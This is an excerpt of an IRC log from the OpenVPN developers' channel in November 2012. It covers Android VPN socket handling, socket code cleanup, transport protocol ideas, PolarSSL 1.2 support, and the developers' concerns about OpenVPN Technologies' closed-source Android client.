traffic to that should go over tun as well 08:57 <@dazo> but that net is external ... 127.0.0.0/8 is per def localhost ... that's a standard .... 09:15 < plaisthos> I will check again 09:16 < plaisthos> adding an explicit route will not work without rooting the telephone 09:17 <@dazo> grmbl 09:19 < plaisthos> I am familar enough with socket.c to implement this kind of stuff ;) 09:23 <@dazo> :) 09:34 < plaisthos> newer versions seem to have fixed this 09:40 < plaisthos> oh 09:40 < plaisthos> something even more absured happens 09:41 < plaisthos> 10.0.2.15.36440 > localhost.1024 09:42 < plaisthos> (this is on the eth0 interface, not localhost) 09:43 < plaisthos> I think calling android protect function binds it to the external interface 09:44 < plaisthos> so no more (additional) fd passing magic between gui and openvpn required :) 09:45 < plaisthos> only inter android app fd passing now (YEAH! ;)) 09:51 < plaisthos> .oO(good that android APIs are allow this kind of evil magic with high level java code ....) 09:55 * dazo begins to dislike Android a bit more again now .... 10:04 < plaisthos> dazo: it required to do privilege seperation in many cases 10:04 < plaisthos> so you the os can give an app a socket to an usb device 10:05 < plaisthos> or a socket to a BT device without granting access to the whole BT stack 10:05 < plaisthos> as normal app developer you don't need to know about this crazy stuff :) 10:05 < plaisthos> and for the VPN you somehow need to get the filedescriptor for the tun device 10:10 <@dazo> I understand the need for that kind of control ... I just think it's not the right way ;-) 10:12 <@dazo> f.ex ... iptables have support for --pid matching, iirc ... and Google could easily extend that to be controlled more fine grained from the Dalvik stack ... leaving the network stack below behaving more like normal ...... but I'm just ranting now ;-) 10:12 < plaisthos> dazo: the network stack behaves normal :) 10:13 <@dazo> except that it intercepts localhost? 10:13 < plaisthos> dazo: well if you bind a socket to eth0 it behaves in a strange way 10:13 <@dazo> so two processes can't talk together over a localhost address/port 10:14 <@dazo> yeah, that's what I'm meaning ... but anyhow ... --sock-proxy localhost shouldn't bind to 'eth0' ... it should bind to 'lo' 10:14 <@dazo> but I presume it's something similar 10:14 < plaisthos> and I am calling protect on the openvpn socket to the server so I will not go over tun 10:14 < plaisthos> but the protect call cannot knwo the endpoint of the socket 10:15 < plaisthos> so I kind of a bug on my side 10:19 < plaisthos> I am calling the functions in the order fd=socket() -> protect(fd) -> connect(fd,...) 10:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:18 -!- raidz_afk is now known as raidz 12:12 * plaisthos sent a random patch to the openvpn mailing list 12:12 < plaisthos> This patch should/could be in 2.3 12:21 * cron2 sent a random aCK 12:27 < plaisthos> :) 12:35 < reiffert> cron2: what was the sequence number again please? 12:43 <@dazo> agreed ... that's 2.3 stuff 12:43 <@dazo> anyone up to ACK my patch from last week? 12:43 <@dazo> "Avoid recursion in virtual_ouytput_callback()" 12:44 <@dazo> (that solves a SEGV issue, so it's fairly critical) 12:48 <@cron2> reiffert: *g* 12:49 <@cron2> dazo: seen it, description makes sense, brains not up to the task of understanding the code 12:49 <@dazo> cron2: that I can understand :) 12:50 <@dazo> I trigger it when using a --route-pre-down script 12:50 <@dazo> together with --management (via gopenvpn) 12:51 <@dazo> basically, openvpn tries to write log data to the management socket after having closed it 12:51 <@cron2> yeah, that must be fixed 12:53 <@dazo> there was already some mechanism to avoid the virtual_output_callback_func() to recurse ... except that the recurse counter was reset before calling more functions in virtual_output_callback_func(), which again would (via x_msg()) call itself 12:54 <@dazo> the virtual_output_*() functions are basically the "write log to managment" functions 12:55 <@dazo> (and as I know plaisthos is looking into cleaning up the socket code ... which the management code also depends on, I thought we would catch the "don't close the management socket yet" in that round instead of now) 12:56 * dazo tries to avoid too much changes to socket.c :) 13:30 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 13:55 -!- dazo is now known as dazo_afk 15:39 < plaisthos> management code and rest of socket.c are only losely coupled 15:40 < plaisthos> basically the management code merely uses socket.c for connecting/creating listen socket 15:43 < plaisthos> But I think first submit a small basic socket.c cleanup+dual stack support, then implement multi socket support for server side (cleaning up the mess I need to do for that) and that think about more major rewrites of the socket code (like happy eyeball) 15:49 < plaisthos> The client part is almost finished 15:50 < plaisthos> at the moment I using the excuse that 2.4 is not started yet not to look at the proxy code in detail and submit the patches :) 15:50 * cron2 wants multi server socket 15:50 <@cron2> (and yes, I also see lots of excuses to not investigate further) 15:51 <@cron2> as soon as we can get 2.4 started, I should be able to actually get some paid time to work on this - $customer needs a) fixed client IPs (because there are printers behind clients) and b) tcp/443+udp/1194, to work around different sets of borked firewalls 19:15 -!- raidz is now known as raidz_afk 22:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Nov 20 2012 01:47 -!- dazo_afk is now known as dazo 01:49 <@dazo> cron2: the master branch is open for 2.4 stuff now ... but I think I do have a little backlog of patches (I have 70+ "unread" mails in my openvpn-devel mailbox) 02:24 < plaisthos> cron2: You will find that most of the work for multi server socket is already done 02:24 < plaisthos> the multi tcp server already deals with multiple sockets and contexts 02:34 < plaisthos> dazo: is there a reason that there is no release/2.3 branch yet? 02:35 <@dazo> plaisthos: release/2.3 will come when the final release is done ... until that stage, beta/2.3 is the branch 02:35 < plaisthos> dazo: ah 03:02 <@cron2> plaisthos: yeah, I'm aware, I'm just not sure how easy it is to add a second listening socket which is "multiple clients all in one" (UDP) to it... 03:04 <@cron2> dazo: there's one thing I actually need to send in for 2.3 - we need to fix internal fragmentation for IPv6. If you sit in a network that breaks external UDP fragmentation, it breaks IPv6 payload in weird ways. I just did not have time yet to fully understand whether that can be fixed by config options today, or whether I need code changes 03:04 <@cron2> very annoying this 03:04 <@dazo> cron2: we'll hold of final 2.3 for such fixes indeed 03:05 <@dazo> cron2: maybe if mattock got space cycles for it, we could do a rc2 with what's on the ML already 03:23 <@cron2> +1 04:24 <@dazo> plaisthos: got a query about a guy looking into UDT support and the need for epoll() always on Linux ... I hope he'll show up here or on the mailing list soonish, as it probably will be good to coordinate such stuff with your socket.c clean-up too 04:24 <@dazo> s/about a/from a/ 04:29 <@cron2> what is "UDT support"? 04:32 <@dazo> https://en.wikipedia.org/wiki/UDT 04:32 <@vpnHelper> Title: UDT - Wikipedia, the free encyclopedia (at en.wikipedia.org) 04:34 <@cron2> uh, I get a meta-page, that tells me UDT could be "Underwater Demolition Team"... I do not want that in OpenVPN 04:35 * cron2 assumes dazo is talking about "UDP-based Data Transfer Protocol" 04:35 <@cron2> but even that - how is that relevant for OpenVPN? 04:37 <@cron2> adding UDT to OpenVPN strongly smells of "if all I have is a hammer, every problem looks like a nail" 05:06 <@dazo> higher throughput? 05:09 <@dazo> "UDT is widely used in high performance computing area to support high speed data transfer over optical networks." 05:12 * cron2 takes away the kool-aid 05:12 <@cron2> throughput is a matter of congestion avoidance, retransmits, windowing and stuff - which is part of TCP(!), not OpenVPN-over-UDP 05:14 <@cron2> so you could do UDT-over-OpenVPN if the throughput is not good enough, but using OpenVPN-over-UDT is just like OpenVPN-over-TCP - using the wrong network layer for the job 05:19 <@dazo> Well, I won't say that it's the next big thing for OpenVPN ... but I'd like to see some general performance numbers for better comparison and then see how it fares 05:22 <@cron2> it is a completely irrelevant question 05:23 <@cron2> OpenVPN over UDP has no sort of congestion control or anything that would limit performance - that's a thing for the higher-layer protocols to care (tcp-over-openvpn) 05:24 <@cron2> for "I need to do data transfers in very particular environments where I need TCP's data ensurances, but where TCPs stream/window handling sucks" 05:24 <@cron2> (as in "FTP over 100G networks across the continent") 05:24 <@cron2> having your own transport protocol is a big plus 05:25 <@cron2> you can't run FTP-over-UDP to get around TCP issues, so you need your own "something special over UDP" for these cases 05:25 <@cron2> ... which we already have :-) 05:27 <@cron2> the question to be asked before working on this is "why do we expect performance to improve for OpenVPN-over-UTP vs. OpenVPN-over-UDP?" 05:27 <@dazo> yeah, I see that one 05:29 <@cron2> actually adding SCTP might be an interesting option, due to SCTP's ability to move to new endpoint IP addresses within a single session (you connect to "A", it tells you "oh, I'm also 'B'" and if A goes down, you fall over to B without a new connection) 05:29 <@cron2> afk, food :-) 05:33 <@dazo> agreed ... but I'm also thinking this from a bit "cynical" perspective ... we need to improve the socket.c code base, and SCTP is an interesting protocol ... one guy is currently looking into UDT ... so if that UDT work can lead into helping plaisthos to clean up socket.c further and make implementations of new protocols easier ... then this might lead us forward, even if UDT won't necessarily be that useful ... or maybe the UDT though 05:33 <@dazo> ts seeds other needed improvements as well 05:34 <@dazo> it's all depending on how we lead the development further 05:48 -!- dazo is now known as dazo_afk 06:22 < plaisthos> we should consider renaming the tcp and udp protocols too 06:22 < plaisthos> right now openvpn has four protocols 06:22 < plaisthos> udp, udp4, tcp and tcp6 06:23 < plaisthos> In my patch I drop the udp6 and tcp6 as protocol variants (cause they are not different to tcp/udp) 06:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 06:27 < plaisthos> stupid stcp is fairly simple to add, just treat it like tcp 06:31 < plaisthos> we should rename udp to datagram and tcp to stream or something like that 06:43 <@cron2> dazo: I'm more afraid that UDT work will bring in 50 extra #ifdef's and one extra library dependency 06:44 <@cron2> (as you can't open an "UDT socket" but will need to talk to a library that does the socket stuff, packet handling, retransmission, queueing, ... for you) 06:44 <@cron2> plaisthos: well, you could use SCTP in datagram mode as well, which I think makes more sense for OpenVPN... "don't layer datagram services on top of stream stuff" 06:54 -!- dazo_afk is now known as dazo 07:10 -!- cosmicgate [~darkpries@37.247.49.210] has joined #openvpn-devel 07:15 <@dazo> cron2: if that's the case ... that's a turn down, indeed 07:18 < plaisthos> cron2: I would prefer to have something like a unix socket in that case 07:18 < plaisthos> or something like this 07:27 < plaisthos> or make that a plugin 07:41 <@dazo> plaisthos: protocols as plug-ins might really be a good idea ... that'll move us a gigantic step forward towards 3.0 07:41 <@dazo> it doesn't need to be run-time loaded, but can be compile time included though 07:57 < plaisthos> I thinking about a protcol layer and transport layer 07:57 < plaisthos> the proxy/socks stuff could be put into a nice plugin 07:57 <@dazo> makes sense ... have you looked at the "roadmap" for 3.0? 07:57 < plaisthos> yes 07:58 < plaisthos> main problem I always have that the more radical cleanup would kill features 07:58 <@dazo> :) 07:58 < plaisthos> the whole static OpenVPN stuff has given me a lot of headaches during socket rewriting 08:00 <@dazo> I understand that one ... I'm thinking that with v3, we shouldn't care that much about backwards compatibility with 2.x ... if we're able to add a "compat mode", great - but that will then (most likely) reduce the feature set too ... but v3 needs to be a "revolution" and cleaner to code in, compared to v2.x 08:01 <@cron2> I think I will be in retirement when v2.4 has been released, so I'll have lots of time to work on v3 then \o/ 08:01 <@dazo> (but I also want to bring over all the useful code from v2.x to v3 too ... writing from scratch will only cause headaches with resolving too many new bugs) 08:02 <@dazo> cron2: so that's your reason to delay your 2.3 patches .... :-P 08:02 < plaisthos> I have already thrown out a few code paths in my patches 08:03 < plaisthos> I always force connections for example 08:05 <@cron2> dazo: I'm not the one who sat on the "it fails on reconnect" issue for half a year :-) :-P 08:07 * dazo hides in a corner 08:07 <@dazo> :) 08:11 < plaisthos> what is the "it fails on reconnect" issue? 08:11 < plaisthos> has it something to do with the socket code or something more complex? 08:19 <@dazo> plaisthos: more complex ... when reconnecting, it went into a "PUSH_SEND" loop, never completing .... I "solved" it partially, to add a timeout (commit 5d4f5435a421299ed047485d8d99bdf9a0d22fd1) 08:20 <@dazo> PUSH_REQUEST, not PUSH_SEND 08:23 <@dazo> w00t! PolarSSL 1.2 was released recently ... with BF support 08:23 <@cron2> w00t! :) 08:24 <@ecrist> awesome 08:24 <@dazo> now we just need some minor patches in openvpn to support that too 08:25 <@dazo> (need a compat naming feature, as OpenSSL call it BF internally, but PolarSSL call it BLOWFISH) 08:46 < plaisthos> dazo: a that bug 09:16 <@cron2> dazo: didn't they change quite a lot more stuff in 1.2? 09:16 <@cron2> andj mentioned something about new calling conventions or such 09:16 * cron2 would actually love to have full Polar 1.2 support, but I'm worried that it will delay 2.3 until 2015... 09:17 <@dazo> cron2: didn't really see that much changes ... https://polarssl.org/tech-updates/releases/polarssl-1.2.0-released 09:17 <@vpnHelper> Title: PolarSSL 1.2.0 released - Tech Updates - PolarSSL (at polarssl.org) 09:17 * cron2 summons andj 09:19 <@dazo> "Ciphersuite names have grown historically. We have decided to rename all ciphersuites to comply with the IANA defined values" ... that looks like the "worst" one 09:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:41 -!- cosmicgate [~darkpries@37.247.49.210] has quit [Quit: sleepage] 09:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:41 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:41 -!- mode/#openvpn-devel [+v krzie] by ChanServ 10:27 <@cron2> what's the openvpn command to encrypt/decrypt a private key .pem? I forgot :( 10:37 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 10:40 <@cron2> ah, openssl rsa 10:40 <@cron2> me 12:48 * andj appears out of thin air 12:48 <@andj> let me read the backlog :) 12:49 <@andj> dazo: Joachim, the colleague who sent in the patch the other day has been playing with Polar 1.2 12:49 <@andj> but we've still got some minor issues 12:50 <@andj> mostly surrounding client certificates 12:50 <@andj> and TLS 1.2 support 12:51 <@andj> I don't think it'll make it into 2.3. It might be a nice addition to 2.3.1 or something :) 12:52 <@andj> The API has been cleaned up and polished a little, partially based on lessons learned from the OpenVPN 2.3 integration 12:52 <@andj> bit the differences aren't huge 12:53 <@andj> cron2, dazo: hope that answers your question :) 13:54 * plaisthos just got a bug report with a polarssl_cipher_not_found 13:54 * plaisthos looks puzzeld 13:56 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:56 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 14:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:01 <+krzee> [12:27] <cron2> what's the openvpn command to encrypt/decrypt a private key .pem? I forgot :( 14:01 <+krzee> !change_passphrase 14:01 <@vpnHelper> "change_passphrase" is see http://openvpn.net/archive/openvpn-users/2005-03/msg00230.html for how to change (or add) a key's passphrase 14:02 <+krzee> sorry thats 4 hours later and you likely found the answer 4 hours ago 14:02 <+krzee> but thats where it is for next time ;] 14:25 <@cron2> andj: what's missing to include it in 2.3? 14:26 <@cron2> krzee: I found it ("openssl rsa ...") 14:37 <@dazo> andj: thx a lot! 14:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:22 < plaisthos> In case anyone cares (perhaps people how help on #openvpn) the FAQ of my android app is now available not only in app but also online: http://code.google.com/p/ics-openvpn/wiki/FAQ 15:22 <@vpnHelper> Title: FAQ - ics-openvpn - Frequently asked questions and some advice - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 15:43 < plaisthos> interesting openvpn connect uses polar ssl. I wonder how they managemed to access the android keystore without using openssl 15:43 < plaisthos> the normal api gives a pointer to a opaque openssl struct 15:56 <@andj> cron2: It's new code, and as we're at the RC stage... 15:57 <@andj> plaisthos: management external key? 15:57 <@andj> cron2: and I'm not sure how long it's going to take to get the bugs ironed out, we haven't got TLS 1.2 working yet 16:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:26 <@dazo> !android 16:26 <@vpnHelper> "android" is (#1) the easiest way to get openvpn on android is to run cyanogenmod, since it comes with tun / busybox / and i think the new version even includes openvpn! or (#2) if you already have tun/root/busybox you can use android-openvpn-installer and openvpn-settings from the market 16:27 <@dazo> !forget android 16:27 <@vpnHelper> Error: 2 factoids have that key. Please specify which one to remove, or use * to designate all of them. 16:27 <@dazo> !forget android 2 16:27 <@vpnHelper> Joo got it. 16:27 <@dazo> !forget android 1 16:27 <@vpnHelper> Joo got it. 16:28 <@dazo> !learn android as An open source OpenVPN client for ICS is available in Google Play, look for "OpenVPN for Android". 16:28 <@vpnHelper> Joo got it. 16:29 <@dazo> !learn android If running cyanogenmod, you can use android-openvpn-installer and openvpn-settings from the market 16:29 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value. 16:29 <@dazo> !learn android as If running cyanogenmod, you can use android-openvpn-installer and openvpn-settings from the market 16:29 <@vpnHelper> Joo got it. 16:30 <@dazo> !learn android as OpenVPN for Android FAQ: http://code.google.com/p/ics-openvpn/wiki/FAQ 16:30 <@vpnHelper> Joo got it. 16:30 <@dazo> plaisthos: ^^^ 17:15 -!- dazo is now known as dazo_afk 17:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 18:12 <+krzee> [18:29] <dazo> !learn android as If running cyanogenmod, you can use android-openvpn-installer and openvpn-settings from the market 18:12 <+krzee> not needed 18:12 <+krzee> cyanogenmod supports openvpn out of the box 18:13 <+krzee> thats why it said: 18:13 <+krzee> "the easiest way to get openvpn on android is to run cyanogenmod, since it comes with tun / busybox / and i think the new version even includes openvpn!" 18:13 <+krzee> s/i think// 18:15 <+krzee> and when you change factoids here, it does not apply to #openvpn 18:19 <+krzee> i fixed it for both channels: 18:19 <+krzee> !android 18:19 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! If you do not have cyanogenmod or ICS, but your device is rooted you can use android-openvpn-installer and openvpn-settings from the market 18:22 <+krzee> bad grammar, reupdated 18:22 <+krzee> !android 18:22 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the 18:22 <@vpnHelper> market 21:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 23:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Wed Nov 21 2012 00:47 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 00:47 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:38 < plaisthos> I would replace ICS with Android 4.0+ 02:39 < plaisthos> google version code names are not necessarily common knowlege 03:17 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 252 seconds] 04:10 -!- dazo_afk is now known as dazo 06:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:50 -!- dazo is now known as dazo_afk 06:53 -!- dazo_afk is now known as dazo 07:21 -!- dazo is now known as dazo|afk 07:32 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:32 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 07:34 -!- Netsplit *.net <-> *.split quits: @cron2, reiffert, keitsi 07:43 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 246 seconds] 07:55 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:55 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:55 <@cron2> what is this with freenode today??? 07:57 <@mattock_> no clue, haven't had any problems afaik 07:57 -!- keitsi [keitsi@shell.jkry.org] has joined #openvpn-devel 07:58 * cron2 gets disconnected all the time 08:00 <+krzee> feedback? http://ircpimps.org/serverlan.png 08:01 <+krzee> its not so much to give them the solution for them to fix it (unless they happen to know enough prior, and just needed a prod) as it gives us an easy way to find out what to help them with 08:06 -!- dazo|afk is now known as dazo 08:16 -!- Netsplit *.net <-> *.split quits: keitsi 08:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 09:30 <@cron2> plaisthos: your app is "OpenVPN for Android" and openvpn tech's is "OpenVPN connect", right? 09:35 <@dazo> cron2: correct 09:36 <@dazo> cron2: https://play.google.com/store/apps/details?id=de.blinkt.openvpn&hl=en .... plaisthos' stuff 09:36 <@vpnHelper> Title: OpenVPN for Android - Android Apps on Google Play (at play.google.com) 09:38 < plaisthos> cron2: correct 09:42 <@dazo> plaisthos: when I see this ... https://play.google.com/store/apps/details?id=net.openvpn.openvpn ... I wonder, how much of your work did they pull in? :) 09:42 <@vpnHelper> Title: OpenVPN Connect - Android Apps on Google Play (at play.google.com) 09:42 * dazo especially notices: *Full IPv6 support (at both the tunnel and transport layer) 09:42 <@dazo> (which means the 2.3 code base) 09:44 <@cron2> yeah, this is ... interesting 09:44 <@cron2> and they don't answer questions going there 09:47 * dazo thinks we should be brave and profile plaisthos' version as the community supported version 09:48 < plaisthos> dazo: or complete rewrite ... 09:50 <@dazo> plaisthos: if they've re-written the complete openvpn stack, to close it in like this ... them I'm so disappointed I will seriously consider to fork openvpn and stop supporting the openvpn community - to create a clearer distance with the company 09:51 <@dazo> (after all, to support OpenVPN in a fork, you only have to care about the wire protocol) 09:53 * cron2 hopes dazo did not mean to write "stop supporting the community" 09:53 <@dazo> cron2: no, not at all ... but all further code development would happen in a fork, totally disconnected from the openvpn project by openvpn tech 09:54 <@cron2> yeah, that, but you wrote something funny there :) 09:54 <@cron2> ah, "openvpn community" being "the open project by openvpn tech" 09:54 <@dazo> yeah 09:54 * cron2 read that as "the community of openvpn users" 09:55 <@cron2> and that was ... weird 09:55 <@dazo> :) 09:55 * cron2 would prefer not to fork, but a bit more openness on the openvpn tech side would certainly be useful 09:57 <@dazo> yes, and that's why I'm saying what I'm saying ... if they don't want to be more open, I'm not interested in helping them develop things further either .... community work requires a two-way road to function 09:57 < plaisthos> In the copyright screen of the openvpn connect screen there is no mention of GPL 09:57 < plaisthos> or the opensource project 09:57 <@dazo> mattock_: ^^^ can you please check up this? 09:58 <@dazo> figure out wt* is happening here? 09:58 < plaisthos> only openssl, boost and polarssl 09:58 <@dazo> boost? 09:58 < plaisthos> boost asio 09:59 < plaisthos> Asio is a cross-platform C++ library for network and low-level I/O programming that provides developers with a consistent asynchronous model using a modern C++ approach. 09:59 <@dazo> hmm ... they really have done something from scratch then ... the GUI itself would not need much boost asio stuff 09:59 < plaisthos> probably with polar ssl 09:59 < plaisthos> the openssl is probably for the android hw keystore stuff 09:59 <@dazo> polarssl doesn't use boost either 09:59 <@dazo> afaik 10:00 < plaisthos> dazo: polarssl is plain C, right? 10:00 <@dazo> yeah 10:00 <@dazo> afair ... *checking* 10:00 < plaisthos> boost is c++ :) 10:00 <@cron2> boost is pain 10:00 < plaisthos> ;0 10:00 <@dazo> exactly, that's why I'm suspecting a closed re-implementation 10:01 <@cron2> (it might be really great for the user, but for the admin having to install and maintain it, it's... huge, and time consuming) 10:01 <@dazo> I think it is greater for the developers ... 10:02 <@cron2> user=dev, not end user, sorry 10:02 <@dazo> (but have no personal hands-on experience) 10:02 <@dazo> ahh :) 10:03 * plaisthos wonders what motivated them to do a rewrite 10:03 <@dazo> plaisthos: you really wonder about that after having looked at socket.c ? 10:03 <@dazo> ;-) 10:03 < plaisthos> dazo: well no 10:03 < plaisthos> :) 10:03 < plaisthos> rewriting openvpn might not be the worst idea 10:04 <@dazo> plaisthos: https://github.com/polarssl/polarssl/tree/master/library ... looks like C to me 10:04 <@vpnHelper> Title: polarssl/library at master · polarssl/polarssl · GitHub (at github.com) 10:04 <@cron2> polarssl definitely doesn't use boost 10:04 <@dazo> plaisthos: rewriting is really tempting often ... but considering you start from scratch, ditch much of well tested code over many years ... it's seldom a good idea 10:05 <@dazo> plaisthos: http://www.joelonsoftware.com/articles/fog0000000069.html 10:05 <@vpnHelper> Title: Things You Should Never Do, Part I - Joel on Software (at www.joelonsoftware.com) 10:06 < plaisthos> But for large parts of the current codebase at least 1.x codebase James holds the copyright, meaning that they could have reused that code 10:06 <@dazo> absolutely 10:47 -!- keitsi [keitsi@shell.jkry.org] has joined #openvpn-devel 11:25 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 12:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:07 <@andj> dazo, plaisthos: polar is C 14:14 -!- dazo is now known as dazo_afk 19:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 22:19 -!- darkpriest [~darkpries@216.17.109.26] has joined #openvpn-devel 22:29 < darkpriest> !git 22:29 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) If you have problems, 22:29 <@vpnHelper> relax: http://justinhileman.info/article/git-pretty/git-pretty.png 22:29 < darkpriest> !snapshots 22:29 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 22:29 < darkpriest> !meetings 22:29 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 23:16 -!- darkpriest [~darkpries@216.17.109.26] has quit [] --- Day changed Thu Nov 22 2012 02:03 <@mattock_> openvpn connect is probably using a rewritten C++ version of OpenVPN client 02:04 <@mattock_> I was not sure about that, but the "official" Android client is for sure 02:22 <@mattock_> ecrist: James asked me to create a forum for (their) Android Client 02:22 <@mattock_> I was thinking we should slightly reorganize the forums to make things less confusing 02:23 <@mattock_> e.g. add an "OpenVPN Technologies" forum and add subforums "Access Server" and "Android Client" there 02:24 <@mattock_> then we could create another board for the non-OpenVPN Tech Android Client 02:26 <@cron2> +1 02:26 <@cron2> under "true open vpn" *duck* 02:27 <@mattock_> I think adding a subforum "OpenVPN Tech -> Private Tunnel" would also make sense 02:27 <@mattock_> cron2: well, OpenVPN (OSS) is open, and the Android thingy is closed, so no need to duck :) 02:34 <@cron2> yeah, but I'm sure quite a few people at openvpn tech would not like that, so ducking might be a good plan 02:50 <@mattock_> yep, true 02:51 <@mattock_> hrm... coverity hasn't updated the codebase to beta/2.3 02:53 <@mattock_> also, latest changes are not pulled from Git automatically 02:53 <@mattock_> so no point in making it scan "master" 02:53 <@mattock_> poked them again 03:07 -!- dazo_afk is now known as dazo 03:51 <@dazo> mattock_: When you have a chance, I'd like to voice the concern internally that OpenVPN Tech is not as open as their name says. Yes, the OpenVPN community version is open, but that is the only open thing. If they continue on this path of closing down more and more new products and not actively participating on the development side ... then I'm really not interested in helping out on the official OpenVPN community edition. 03:53 * cron2 seconds that - the power of OpenVPN is "the same thing is open *and* backed by the company, if commercial support is needed". But if they are forking development, well, that's killing the model 03:53 <@dazo> And if this is a strategical move from the OpenVPN Tech leadership ... then I'd suggest them to change their company name to "NotSoOpenVPN Tech" while they're at it .... having produced OpenVPN CE have given them a name and credibility ... their current moves does not really build up under this former openness at all. 03:53 <@cron2> +1, again :-) 03:54 <@dazo> :) 04:53 <@vpnHelper> RSS Update - testtrac: Error message if max-routes used incorrectly <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f83ccec6525179968b68696acb6ccf22182fc6de> || Fix --show-pkcs11-ids (Bug #239) <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5fd3e56430678bee3e6e3a3cf8dfd6db7e105676> 04:54 <@dazo> This will be my last push until things have become clearer in regards to the OpenVPN Tech stance 05:11 <@cron2> nah, let's do a clean 2.3 release, and then go on strike 05:12 <@dazo> cron2: I'll consider it :) 05:12 <@dazo> but yeah, I do see now that a strike now hurts the community more than the company 05:13 <@dazo> but I'm willing to do a fork now before the 2.3 release ... and do the release in the fork instead 05:13 <@dazo> (of course, that might hurt the windows build) 05:56 <@cron2> to be honest, 2.3 effectively consists a fork anyway, as James isn't using git, and has done his own fork... 06:01 <@dazo> Interesting artcile on random numbers ... https://lwn.net/Articles/525459/ (subscriber only, currently) 06:01 <@dazo> (andj might find that one interesting too :)) 06:09 <@mattock_> dazo, cron2: I've voiced concerns about the C++ fork approach, too... this is what I know from James: 06:09 <@mattock_> 1) the company needed a clean codebase for relicensing reasons (don't know the exact details) 06:09 <@mattock_> 2) it's only a client implementation, they (=James) are not reimplementing server-side functionality 06:09 <@mattock_> 3) the other relicensing-enabling options (e.g. start requiring contributor agreements) would be even worse 06:10 <@cron2> well, 1) *is* actually an important issue with the iOS client - as you can't put GPLed software in the Apple store 06:10 <@cron2> (GPL requires to provide sources and to provide the freedom for modification, Apple store does not allow modifications, period) 06:11 <@mattock_> I believe it's the same as with Windows Marketplace (or whatever) 06:11 <@mattock_> i.e. "stupid marketplaces" 06:11 <@cron2> no idea about that, but yeah 06:11 <@cron2> (being a bit more open about what they do and why would have been welcome, though...) 06:11 <@mattock_> yes, true 06:12 <@mattock_> even I have difficulty understanding what they do, 